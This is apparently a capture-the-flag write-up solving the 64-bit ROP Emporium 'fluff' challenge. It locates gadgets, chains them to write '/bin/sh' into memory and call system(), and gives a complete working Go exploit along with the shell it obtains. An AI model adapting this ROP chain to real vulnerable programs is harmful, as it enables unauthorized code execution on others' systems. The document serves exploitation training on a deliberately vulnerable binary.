Introduction

Fluff is the 5th challenge in the ROP Emporium series.
This is the approach taken to solve the 64 bit challenge step by step.
If you would like extra information on Return Oriented Programming (ROP) visit the ROP Emporium Guide.

Challenge description

Sort the useful gadgets from the fluff to construct another write primitive in this challenge.
You’ll have to get creative though, the gadgets aren’t straight forward.

Solution

The solution will be written in Go using the standard library only.
Although pwntools is a quick and easy way to approach this problem, Go can compile to a statically linked executable for most target systems.
Since the exploit path is known, we can focus on creating a ROP chain to obtain a system shell.

Assumptions

The following software is installed:

Technical

Inspect the binary

Check the properties:

We can see that the NX bit is set. This is the security feature we are defeating.

Identify sections:

The .data section at 0x00601050 will be the target to write the string “/bin/sh” to pass to the system() library function.

Search for ROP gadgets

In the search field we select “ROP gadgets”, search in “All maps” and press “Search”.

Before we can write anything to memory, we need to identify the gadgets that will be best suited for the task.

Searching for mov instructions that transfer to pointers, the following gadget at 0x0040084e moves the contents of the R11 register to the location R10 points to.

0x0040084e      mov     qword [r10], r11
0x00400851      pop     r13
0x00400853      pop     r12
0x00400855      xor     byte [r10], r12b
0x00400858      ret

With the above gadget, the following will write bytes to the .data section:

  1. Load the hexadecimal value of .data (0x00601050) into the R10 register
  2. Load bytes, that we wish to write, into the R11 register
Note: Padding values should be placed on the stack for the “pop” instructions on all gadgets before the final “ret” instruction

Approach to the defined steps above:

1. Load the hexadecimal value of .data (0x00601050) into the R10 register

Without a “pop r10” or a simple “mov r10, ???”, other instructions must be used to load a value into R10.

0x00400840      xchg    r11, r10
0x00400843      pop     r15
0x00400845      mov     r11d, 0x602050 ; 'P `'
0x0040084b      ret

The xchg instruction at 0x00400840 will swap the values of the R11 and R10 registers.
Searching for pop instructions returns very few options.

Searching for xor instructions returns very few options.

There is only one gadget that performs a xor on one register as both arguments.

0x00400822      xor r11, r11
0x00400825      pop r14
0x00400827      mov edi, data_start
0x0040082c      ret

This is important because the R11 register will be zeroed out after the gadget at 0x00400822, which would allow another value to be copied into R11.

The gadget at 0x0040082f performs the xor operation on R11 and R12. If a value is loaded into R12 and xor’d with R11 (if R11 is set to zero), R11 will contain the original value set in R12 before the operation.

0x0040082f      xor r11, r12
0x00400832      pop r12
0x00400834      mov r13d, 0x604060 ; '`@`'
0x0040083a      ret

Searching for pop R12 returns many results.

0x004008bc      pop r12
0x004008be      pop r13
0x004008c0      pop r14
0x004008c2      pop r15
0x004008c4      ret

The gadget at 0x004008bc will pop the next 8 bytes on the stack into R12.

Combined, the mentioned gadgets will load a value into R10 with the following sequence:

StepOne:
    pop r12 ; load value on stack into R12
    pop r13
    pop r14
    pop r15
    ret
StepTwo:  
    xor r11, r11 ; zero out the R11 register
    pop r14
    mov edi, data_start
    ret
StepThree:  
    xor r11, r12 ; the xor operation will xor the contents of R12 into R11
    pop r12
    mov r13d, 0x604060 ; '`@`'
    ret
StepFour:  
    xchg    r11, r10 ; the xchg operation performs an exchange between the R11 and R10 registers respectively
    pop     r15
    mov     r11d, 0x602050 ; 'P `'
    ret
2. Load bytes, that we wish to write, into the R11 register

The previous sequence to write to R10, uses the R11 register to transfer bytes.
Writing to R11 will follow the same sequence without StepFour:

StepOne:
    pop r12 ; load value on stack into R12
    pop r13
    pop r14
    pop r15
    ret
StepTwo:  
    xor r11, r11 ; zero out the R11 register
    pop r14
    mov edi, data_start
    ret
StepThree:  
    xor r11, r12 ; the xor operation will xor the contents of R12 into R11
    pop r12
    mov r13d, 0x604060 ; '`@`'
    ret

Locate the system() library function

In the executable, the system() library function is already present.

The system() library function is located at 0x004005e0. This is an easy win, because the address of an imported library function is no longer necessary.
With the address of an imported library function, for example printf(), the offset between that function and system() could be calculated.
This allows system() (printf() + offset) to be called directly with arguments placed in registers for execution.

Write the exploit

Define addresses to use

The addresses of the previously identified gadgets and system() are defined as well as a padding variable. In the 64 bit version, padding is appended after each address defined. This is because the addresses are only 4 bytes and need to be padded to 8 bytes (64 bits) to account for the architecture.

package main

import (
        "bufio"
        "fmt"
        "io"
        "log"
        "os"
        "os/exec"
        "time"
)

// 4 byte padding
var padding = "\x00\x00\x00\x00"

// .data section
// Location: 0x00601050
var dataSection = "\x50\x10\x60\x00" + padding

// pop rdi ret;
// Location: 0x004008c3
var popRDI = "\xc3\x08\x40\x00" + padding

// pop r12; pop r13; pop r14; pop r15; ret;
// Location: 0x004008bc
var popR12 = "\xbc\x08\x40\x00" + padding

// xor r11, r11; pop r14; mov edi, 0x601050; ret;
// Location: 0x00400822
var xorR11R11 = "\x22\x08\x40\x00" + padding

// xor r11, r12; pop r12; mov r13d, 0x604060; ret;
// Location: 0x0040082f
var xorR11R12 = "\x2f\x08\x40\x00" + padding

// xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
// Location: 0x00400840
var xchgR11R10 = "\x40\x08\x40\x00" + padding

// mov qword [r10], r11; pop r13; pop r12; xor byte [r10], r12b; ret;
// Location: 0x0040084e
var movPtrR10R11 = "\x4e\x08\x40\x00" + padding

// system()
// Location: 0x004005e0
var system = "\xe0\x05\x40\x00" + padding

func main() {
}
Define helper functions

Due to the repeated use of ROP gadgets it is much easier to define functions that will write bytes to the data section.

Load a value into the R11 register
func loadR11(bytesToLoad string) (ropChain string) {
	ropChain = popR12
	ropChain += bytesToLoad
	ropChain += padding + padding
	ropChain += padding + padding
	ropChain += padding + padding
	ropChain += xorR11R11
	ropChain += padding + padding
	ropChain += xorR11R12
	ropChain += padding + padding
	return
}
Load a value into the R10 register
func loadR10(bytesToLoad string) (ropChain string) {
	ropChain = loadR11(bytesToLoad)
	ropChain += xchgR11R10
	ropChain += padding + padding
	return
}
Write R11 to the value R10 points to
func writeR11Ptr() (ropChain string) {
	ropChain = movPtrR10R11
	ropChain += padding + padding
	ropChain += padding + padding
	return
}
Putting it all together
package main

import (
        "bufio"
        "fmt"
        "io"
        "log"
        "os"
        "os/exec"
        "time"
)

// 4 byte padding
var padding = "\x00\x00\x00\x00"

// .data section
// Location: 0x00601050
var dataSection = "\x50\x10\x60\x00" + padding

// pop rdi ret;
// Location: 0x004008c3
var popRDI = "\xc3\x08\x40\x00" + padding

// pop r12; pop r13; pop r14; pop r15; ret;
// Location: 0x004008bc
var popR12 = "\xbc\x08\x40\x00" + padding

// xor r11, r11; pop r14; mov edi, 0x601050; ret;
// Location: 0x00400822
var xorR11R11 = "\x22\x08\x40\x00" + padding

// xor r11, r12; pop r12; mov r13d, 0x604060; ret;
// Location: 0x0040082f
var xorR11R12 = "\x2f\x08\x40\x00" + padding

// xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
// Location: 0x00400840
var xchgR11R10 = "\x40\x08\x40\x00" + padding

// mov qword [r10], r11; pop r13; pop r12; xor byte [r10], r12b; ret;
// Location: 0x0040084e
var movPtrR10R11 = "\x4e\x08\x40\x00" + padding

// system()
// Location: 0x004005e0
var system = "\xe0\x05\x40\x00" + padding

func loadR11(bytesToLoad string) (ropChain string) {
        ropChain = popR12
        ropChain += bytesToLoad
        ropChain += padding + padding
        ropChain += padding + padding
        ropChain += padding + padding
        ropChain += xorR11R11
        ropChain += padding + padding
        ropChain += xorR11R12
        ropChain += padding + padding
        return
}

func loadR10(bytesToLoad string) (ropChain string) {
        ropChain = loadR11(bytesToLoad)
        ropChain += xchgR11R10
        ropChain += padding + padding
        return
}

func writeR11Ptr() (ropChain string) {
        ropChain = movPtrR10R11
        ropChain += padding + padding
        ropChain += padding + padding
        return
}

func main() {
        binary := "./fluff"
        cmd := exec.Command(binary)
        stdin, err := cmd.StdinPipe()
        if err != nil {
                log.Fatal(err)
        }
        stdout, err := cmd.StdoutPipe()
        if err != nil {
                log.Fatal(err)
        }
        stderr, err := cmd.StderrPipe()
        if err != nil {
                log.Fatal(err)
        }
        if err = cmd.Start(); err != nil {
                log.Fatal(err)
        }

        // Read the initial output
        output := bufio.NewReader(stdout)
        _, err = output.ReadBytes('>')
        if err != nil {
                log.Fatal(err)
        }

        // Copy output to the terminal
        go io.Copy(os.Stdout, stdout)
        go io.Copy(os.Stderr, stderr)

        // Create ROP chain
        var ropChain string
        for i := 0; i < 40; i++ {
                ropChain += "Z"
        }
        // Load "/bin/sh" into .data
        ropChain += loadR10(dataSection)
        ropChain += loadR11("/bin/sh\x00")
        ropChain += writeR11Ptr()

        // Call system()
        ropChain += popRDI
        ropChain += dataSection
        ropChain += system
        ropChain += "\n"
        stdin.Write([]byte(ropChain))

        // Interact with shell
        for {
                input := bufio.NewReader(os.Stdin)
                fmt.Printf("$ ")
                shellCommand, _, _ := input.ReadLine()
                shellCommand = append(shellCommand, '\n')
                stdin.Write([]byte(shellCommand))
                time.Sleep(time.Millisecond * 9)
        }
}

Getting that shell

postrequest$ go run exploit.go
$ id
uid=1000(post) gid=1000(post) groups=1000(post)